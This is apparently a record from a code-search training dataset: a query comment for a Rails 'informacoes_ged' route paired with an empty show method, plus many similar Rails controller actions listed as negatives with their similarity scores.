"def show\n @gethotel = Gethotel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gethotel }\n end\n end",
"def show\n @gig = Gig.find(params[:id])\n\n respond_to do |format|\n format.html {render json: @gig, status: :ok}\n format.json { render json: @gig, status: :ok }\n end\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def new\n @agronomiaquimica = Agronomiaquimica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"def show\n @giang_vien = GiangVien.find(params[:id])\n\n respond_to do |format| \n format.json { render json: @giang_vien }\n end\n end",
"def index\n @eicons = Eicon.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eicons }\n end\n end",
"def show\n @cegonha = Cegonha.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cegonha }\n end\n end",
"def show\n @gpath = Gpath.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gpath }\n end\n end",
"def create\n @informacao_ged = InformacaoGed.new(informacao_ged_params)\n\n respond_to do |format|\n if @informacao_ged.save\n format.html { redirect_to @informacao_ged, notice: 'Informação sobre o GED criada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @informacao_ged }\n else\n format.html { render action: 'new' }\n format.json { render json: @informacao_ged.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @cgv = Cgv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cgv }\n end\n end",
"def new\n @ecg = Ecg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ecg }\n end\n end",
"def new\n @indicativo = Indicativo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def gabarra\n respond_to do |format|\n begin\n @gabarra = DescargaBauxita.descargar(params)\n format.json { render :json => @gabarra }\n rescue Exceptions::PresenciaValoresExcepcion => errores\n format.json { render :json => errores.errors, :status => 400 }\n end\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cn_curve }\n end\n end",
"def index\n @detalles = Detalle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @detalles }\n end\n end",
"def show\n @nguoi_dung = NguoiDung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nguoi_dung }\n end\n end",
"def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end",
"def show\n @gopy = Gopy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gopy }\n end\n end",
"def show\n @indexed_gif = IndexedGif.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indexed_gif }\n end\n end",
"def index\n @enemigos = Enemigo.all\n end",
"def show\n @gethotelstaticdatagd = Gethotelstaticdatagd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gethotelstaticdatagd }\n end\n end",
"def index\n @iglesias = Iglesia.all\n end",
"def index\n @agencia = Agencium.all\n end",
"def index\n @emergencia = Emergencium.all\n @hash = Gmaps4rails.build_markers(@emergencia) do |emergencia, marker|\n marker.lat emergencia.latitude\n marker.lng emergencia.longitude\n marker.infowindow emergencia.descrption\n marker.picture({\n \"url\" => 'https://developers.google.com/maps/documentation/javascript/examples/full/images/beachflag.png',\n \"height\" => 32,\n \"width\" => 32\n })\n marker.json({title: emergencia.title})\nend\n\n end",
"def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end",
"def show\n @gig_request = GigRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gig_request }\n end\n end",
"def index\n @educacao = Educacao.new\n @educacaos = Educacao.all\n @modal = true\n\n factory = RGeo::GeoJSON::EntityFactory.instance\n features = []\n @educacaos.each do |edu|\n feature = factory.feature(edu.the_geom, nil, {id: edu.id, nome: edu.nome, email: edu.email, contato: edu.contato})\n features << feature\n end\n\n json_edu = RGeo::GeoJSON.encode factory.feature_collection(features)\n\n respond_to do |format|\n format.html\n format.json { render :json => json_edu }\n format.xml { render :xml => @educacaos }\n end\n end",
"def index\n @enderecos = Endereco.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enderecos }\n end\n end",
"def show\n @eicon = Eicon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @eicon }\n end\n end",
"def new\n @colegiatura = Colegiatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def show\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ginasio }\n end\n end",
"def index\n @gomis = Gomi.all\n end",
"def show\n @edge = Edge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @edge }\n end\n end",
"def show\n @gauge = Gauge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gauge }\n end\n end",
"def show\n @cad_neighborhood = CadNeighborhood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cad_neighborhood }\n end\n end",
"def index\n @demande_egs = DemandeEg.all\n end",
"def index\n @digital_editions = DigitalEdition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @digital_editions }\n end\n end",
"def genes()\n puts 'vcf_life gene'\n return nil if @data[:info].blank?\n return nil if @data[:info][:ann].blank?\n #return nil if @data[:info][:hgvs].blank?\n VcfTools.get_genes_from_ann( @data[:info][:ann] )\n end",
"def index\n @ivas = Iva.all\n\n render json: @ivas\n end",
"def index \n ip_addr = request.env['REMOTE_ADDR'] \n @browse_by = [[\"Browse By\",''],[\"Guides\",'1'],[\"Places\",'2']]\n @characteristics = [\"Latest\",'1'],[\"Most Popular\",'2'],[\"Highest Rated\",'3'],[\"Stress Factor\",'4']\n @notice = notice\n @guides = Guide.where(\"publish=?\",true).order(\"CREATED_AT DESC\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guides }\n end\n end",
"def index\n @nepals = Nepal.all\n\n render json: @nepals\n end",
"def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end",
"def new\n @eicon = Eicon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @eicon }\n end\n end",
"def show\n @agente = Agente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agente } \n end\n end",
"def informacao_ged_params\n params.require(:informacao_ged).permit(:orgao_id, :processo_digitalizacao, :numero_digitalizacao, :documentos_indexados, :hospedado_sepog)\n end",
"def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end",
"def index\n @cn_curves = CnCurve.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cn_curves }\n end\n end",
"def index\n @asociados = Asociado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @asociados }\n end\n end",
"def index\n @acoes = Acao.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acoes }\n end\n end",
"def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end",
"def show\n @messege = Messege.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @messege }\n end\n end",
"def new\n @colegio = Colegio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegio }\n end\n end",
"def index\n @gigapans = Gigapan.all\n end",
"def show\n @galeria = Galeria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @galeria }\n end\n end",
"def show\n @agendamento = Agendamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agendamento }\n end\n end",
"def new\n @cad_neighborhood = CadNeighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cad_neighborhood }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @representante_athlete }\n end\n end",
"def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end",
"def show\n @ganglia_graph = GangliaGraph.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end",
"def index\n @admin_villages = Admin::Village.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_villages }\n end\n end",
"def show\n @cg_entry = CgEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cg_entry }\n end\n end",
"def show\n @energy_datum = EnergyDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @energy_datum }\n end\n end",
"def index\n find_dependencias\n respond_to do |format|\n format.html\n format.json { render :json => @dependencias.to_json(:methods => :alias_or_fullname, :only => [:id, :codigo, :nombre])}\n\n end\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def index\n @cadavres = Cadavre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cadavres }\n end\n end",
"def show\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @garbage }\n end\n end",
"def gettags\n @ideaid = params[:ideaid]\n @ideatagsthen = IdeasTags.find(:all, :conditions => {:idea_id => @ideaid})\n @ideatags = Tag.where(:id => @ideatagsthen.map(&:tag_id))\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def index\n @geofences = Geofence.all\n end",
"def show\n @diagnosed_disorders = @patient.get_selected_disorders\n @detected_disorders = @patient.get_detected_disorders\n #@gene = @patient.pedia.order(\"pedia_score DESC\")\n @pedia_service = @patient.pedia_services.last\n if @pedia_service.nil?\n @gene = @patient.pedia.order(\"pedia_score DESC\")\n if @gene.count > 0\n gon.results = get_pedia_json(@gene)\n end\n else\n @gene = @pedia_service.pedia.order(\"pedia_score DESC\")\n gon.results = get_pedia_json(@gene)\n end\n @pedia_status = get_status(@patient, @gene)\n @causing_muts = @patient.disease_causing_mutations\n end",
"def new\n @hoge = Hoge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hoge }\n end\n end",
"def index\n @frais_annexes = FraisAnnex.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_annexes }\n end\n end",
"def index\n @ultimo_grado_de_estudios = UltimoGradoDeEstudio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ultimo_grado_de_estudios }\n end\n end",
"def show\n @areco = Areco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @areco }\n end\n end",
"def show\n @highlight = @celebration.highlights.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [@celebration,@highlights] }\n end\n end",
"def show\n @citation = Citation.find(params[:id])\n @galaxies = @citation.galaxies\n @citation.galaxy_ids_array\n\n respond_to do |format|\n format.html { render :show }\n format.json { render :json => @citation.to_json(\n :only => [:title, :author, :bibtex, :journal, :year,\n :volume, :pages, :month, :note, :key],\n :methods => [:galaxy_ids_array]\n )\n }\n end\n end",
"def show\n @encounter = Encounter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @encounter }\n end\n end",
"def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end",
"def index\n @expedientes = Expediente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expedientes }\n end\n end",
"def index\n @coordenador_estagios = CoordenadorEstagio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coordenador_estagios }\n end\n end",
"def new\n # @gethotelstaticdatagd = Gethotelstaticdatagd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gethotelstaticdatagd }\n end\n end",
"def index\n @gastronomia = Gastronomium.all\n end",
"def show\n @title_view = 'Culturas'\n @cultural_heritage_culture = CulturalHeritage::Culture.find(params[:id])\n\n points = @cultural_heritage_culture.list_point\n\n if points.length > 0\n\n count = 0\n @json = \"[[\"\n points.each do |point|\n if (count == 0)\n @json = @json << '{\"lng\": ' << point.longitude.to_s << ', \"lat\": ' << point.latitude.to_s <<\n ', \"strokeColor\": \"#FF0000\", \"strokeOpacity\": 0.3, \"strokeWeight\": 1, \"fillColor\": \"#FF0000\", \"fillOpacity\": 0.7}'\n else\n @json = @json << ', {\"lng\": ' << point.longitude.to_s << ', \"lat\": ' << point.latitude.to_s << '}'\n end\n count = count + 1\n end\n @json = @json << \"]]\"\n\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cultural_heritage_culture }\n format.json { render :json => @cultural_heritage_culture }\n end\n end",
"def show\n @infographic = Infographic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @infographic.to_json(:include => :rows) }\n end\n end",
"def index\n @status_ref_pago_inscs = StatusRefPagoInsc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_ref_pago_inscs }\n end\n end",
"def show\n @livingexpense = Livingexpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @livingexpense }\n end\n end",
"def show\n @nugget = Nugget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nugget }\n end\n end",
"def new\n @genu = Genu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @genu }\n end\n end",
"def new\n @expediente = Expediente.new\n @municipios = Municipio.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expediente }\n end\n end"
] |
[
"0.60160863",
"0.59186107",
"0.5896917",
"0.581409",
"0.5717624",
"0.57070917",
"0.5677353",
"0.5673586",
"0.56652355",
"0.5643754",
"0.5639112",
"0.5635476",
"0.56164503",
"0.5612588",
"0.5602261",
"0.5592503",
"0.5589428",
"0.5588241",
"0.55565405",
"0.5542427",
"0.5512123",
"0.5509717",
"0.5500079",
"0.54984635",
"0.5492957",
"0.54840034",
"0.54827684",
"0.54817593",
"0.5481568",
"0.547965",
"0.5461832",
"0.54608405",
"0.54601395",
"0.54578817",
"0.5454223",
"0.5452775",
"0.54497606",
"0.5447656",
"0.5442702",
"0.5438708",
"0.5434666",
"0.543017",
"0.5429318",
"0.5427438",
"0.5425756",
"0.5425084",
"0.54197985",
"0.5417708",
"0.54148465",
"0.540501",
"0.54024035",
"0.54016155",
"0.5401569",
"0.53971565",
"0.5382907",
"0.5378044",
"0.53760415",
"0.53748786",
"0.5368858",
"0.53687835",
"0.5366897",
"0.53625464",
"0.5355654",
"0.5352764",
"0.53411204",
"0.5337396",
"0.53349304",
"0.5333898",
"0.5333007",
"0.5332634",
"0.5332428",
"0.5331119",
"0.5327929",
"0.5327254",
"0.53210664",
"0.53208095",
"0.53185177",
"0.5318369",
"0.53171116",
"0.53106743",
"0.53100586",
"0.53097355",
"0.5309719",
"0.5309673",
"0.5307771",
"0.5306735",
"0.53028065",
"0.53001434",
"0.5298314",
"0.52955914",
"0.5295445",
"0.52906346",
"0.5286889",
"0.528643",
"0.52845365",
"0.5283407",
"0.5282167",
"0.52819616",
"0.52786994",
"0.527648",
"0.5275756"
] |
0.0
|
-1
|
GET /informacoes_ged/1 GET /informacoes_ged/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end",
"def show\n @indicacao = Indicacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicacao }\n end\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def show\n @indicativo = Indicativo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end",
"def show\n @ecg = Ecg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ecg }\n end\n end",
"def show\n @cegonha = Cegonha.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cegonha }\n end\n end",
"def emergencias_en_curso\n @emergencies = Emergency.where(:estado => 'f')\n render json: @emergencies\n end",
"def new\n @indicacao = Indicacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @indicacao }\n end\n end",
"def show\n @giang_vien = GiangVien.find(params[:id])\n\n respond_to do |format| \n format.json { render json: @giang_vien }\n end\n end",
"def new\n @agronomiaquimica = Agronomiaquimica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end",
"def show\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ginasio }\n end\n end",
"def set_informacao_ged\n @informacao_ged = InformacaoGed.find(params[:id])\n end",
"def new\n @indicativo = Indicativo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def index\n @antecedentes = Antecedente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @antecedentes }\n end\n end",
"def show\n @cofi = Cofi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cofi }\n end\n end",
"def show\n @areco = Areco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @areco }\n end\n end",
"def show\n @nguoi_dung = NguoiDung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nguoi_dung }\n end\n end",
"def show\n @gig = Gig.find(params[:id])\n\n respond_to do |format|\n format.html {render json: @gig, status: :ok}\n format.json { render json: @gig, status: :ok }\n end\n end",
"def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end",
"def show\n @indexed_gif = IndexedGif.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indexed_gif }\n end\n end",
"def show\n @gethotel = Gethotel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gethotel }\n end\n end",
"def show\n @gpath = Gpath.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gpath }\n end\n end",
"def index_by_age\n @age = Age.find(params[:age_id])\n @gifts = @age.gifts\n render json: @gifts, include: :ages, status: :ok\n end",
"def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"def show\n @cgv = Cgv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cgv }\n end\n end",
"def new\n @colegiatura = Colegiatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def show\n @eicon = Eicon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @eicon }\n end\n end",
"def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end",
"def show\n @gopy = Gopy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gopy }\n end\n end",
"def index\n @eicons = Eicon.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eicons }\n end\n end",
"def new\n @colegio = Colegio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegio }\n end\n end",
"def show\n @agendamento = Agendamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agendamento }\n end\n end",
"def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"def show\n @asociado = Asociado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asociado }\n end\n end",
"def show\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_convenio }\n end\n end",
"def index\n @acoes = Acao.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acoes }\n end\n end",
"def show\n @bico = Bico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bico }\n end\n end",
"def show\n @agente = Agente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agente } \n end\n end",
"def show\n @gethotelstaticdatagd = Gethotelstaticdatagd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gethotelstaticdatagd }\n end\n end",
"def show\n @cad_neighborhood = CadNeighborhood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cad_neighborhood }\n end\n end",
"def index\n @ivas = Iva.all\n\n render json: @ivas\n end",
"def index\n @cofis = Cofi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cofis }\n end\n end",
"def show\n @dependencia = Dependencia.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dependencia }\n end\n end",
"def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end",
"def index\n @asociados = Asociado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @asociados }\n end\n end",
"def show\n @status_ref_pago_insc = StatusRefPagoInsc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_ref_pago_insc }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cn_curve }\n end\n end",
"def show\n @incucai = Incucai.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incucai }\n end\n end",
"def gabarra\n respond_to do |format|\n begin\n @gabarra = DescargaBauxita.descargar(params)\n format.json { render :json => @gabarra }\n rescue Exceptions::PresenciaValoresExcepcion => errores\n format.json { render :json => errores.errors, :status => 400 }\n end\n end\n end",
"def show\n @gauge = Gauge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gauge }\n end\n end",
"def index\n @instituicoes = Instituicao.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @instituicoes }\n end\n end",
"def show\n @gig_request = GigRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gig_request }\n end\n end",
"def show\n @economia4 = Economia4.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @economia4 }\n end\n end",
"def index\n @enderecos = Endereco.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enderecos }\n end\n end",
"def show\n @clientepedido = Clientepedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientepedido }\n end\n end",
"def index\n @estacionamientos = Estacionamiento.all\n\n @json = Estacionamiento.all.to_gmaps4rails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estacionamientos }\n end\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def index\n @status_ref_pago_inscs = StatusRefPagoInsc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_ref_pago_inscs }\n end\n end",
"def show\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asignatura }\n end\n end",
"def show\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asignatura }\n end\n end",
"def show\n @galeria = Galeria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @galeria }\n end\n end",
"def index\n @detalles = Detalle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @detalles }\n end\n end",
"def index\n @cadavres = Cadavre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cadavres }\n end\n end",
"def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end",
"def show\n @guille = Guille.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guille }\n end\n end",
"def show\n @proyecto_imagen = ProyectoImagen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proyecto_imagen }\n end\n end",
"def new\n @eicon = Eicon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @eicon }\n end\n end",
"def show\n @fornecedore = Fornecedore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fornecedore }\n end\n end",
"def show\n @ganglia_graph = GangliaGraph.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end",
"def show\n @concedente = Concedente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concedente }\n end\n end",
"def show\n @edge = Edge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @edge }\n end\n end",
"def index\n find_dependencias\n respond_to do |format|\n format.html\n format.json { render :json => @dependencias.to_json(:methods => :alias_or_fullname, :only => [:id, :codigo, :nombre])}\n\n end\n end",
"def show\n @infographic = Infographic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @infographic.to_json(:include => :rows) }\n end\n end",
"def show\n @aliexpress = Aliexpress.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aliexpress }\n end\n end",
"def show\n @excepcion_entrega = ExcepcionEntrega.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @excepcion_entrega }\n end\n end",
"def show\n @observacao_vocacionada = ObservacaoVocacionada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observacao_vocacionada }\n end\n end",
"def show\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @garbage }\n end\n end",
"def show\n @energy_datum = EnergyDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @energy_datum }\n end\n end",
"def new\n @incucai = Incucai.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @incucai }\n end\n end",
"def show\n @central_correio = CentralCorreio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @central_correio }\n end\n end",
"def index\n @contas = Conta.all\n respond_to do |format|\n format.json { render json: @contas.to_json, status: :ok }\n end\n end",
"def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end",
"def show\r\n @imobiliaria = Imobiliaria.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.json { render json: @imobiliaria }\r\n end\r\n end",
"def index\n @agencia = Agencium.all\n end",
"def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estudiante }\n end\n end",
"def show\n @preparatoria_o_universidad_de_origen = PreparatoriaOUniversidadDeOrigen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origen }\n end\n end",
"def show\n @genotype = Genotype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @genotype }\n end\n end",
"def show\n @kolegij = Kolegij.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kolegij }\n end\n end",
"def show\n @iniciativa = Iniciativa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @iniciativa }\n end\n end",
"def show\n @fulcliente = Fulcliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fulcliente }\n end\n end",
"def show\n\trespond_to do |format|\n format.json { render json: @conta.to_json, status: :ok }\n end\n end",
"def show\n @expediente = Expediente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expediente }\n end\n end",
"def index\n @familia = Familium.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @familia }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def show\n @informe = Informe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @informe }\n end\n end"
] |
[
"0.61214983",
"0.61150044",
"0.6107142",
"0.60935175",
"0.6066525",
"0.6053255",
"0.5974792",
"0.5962492",
"0.59600025",
"0.5948444",
"0.5927653",
"0.59230924",
"0.5899387",
"0.5827401",
"0.582138",
"0.58095396",
"0.5800823",
"0.57961845",
"0.57502866",
"0.57498854",
"0.57474524",
"0.57450646",
"0.5742826",
"0.5740598",
"0.5736887",
"0.5730355",
"0.572951",
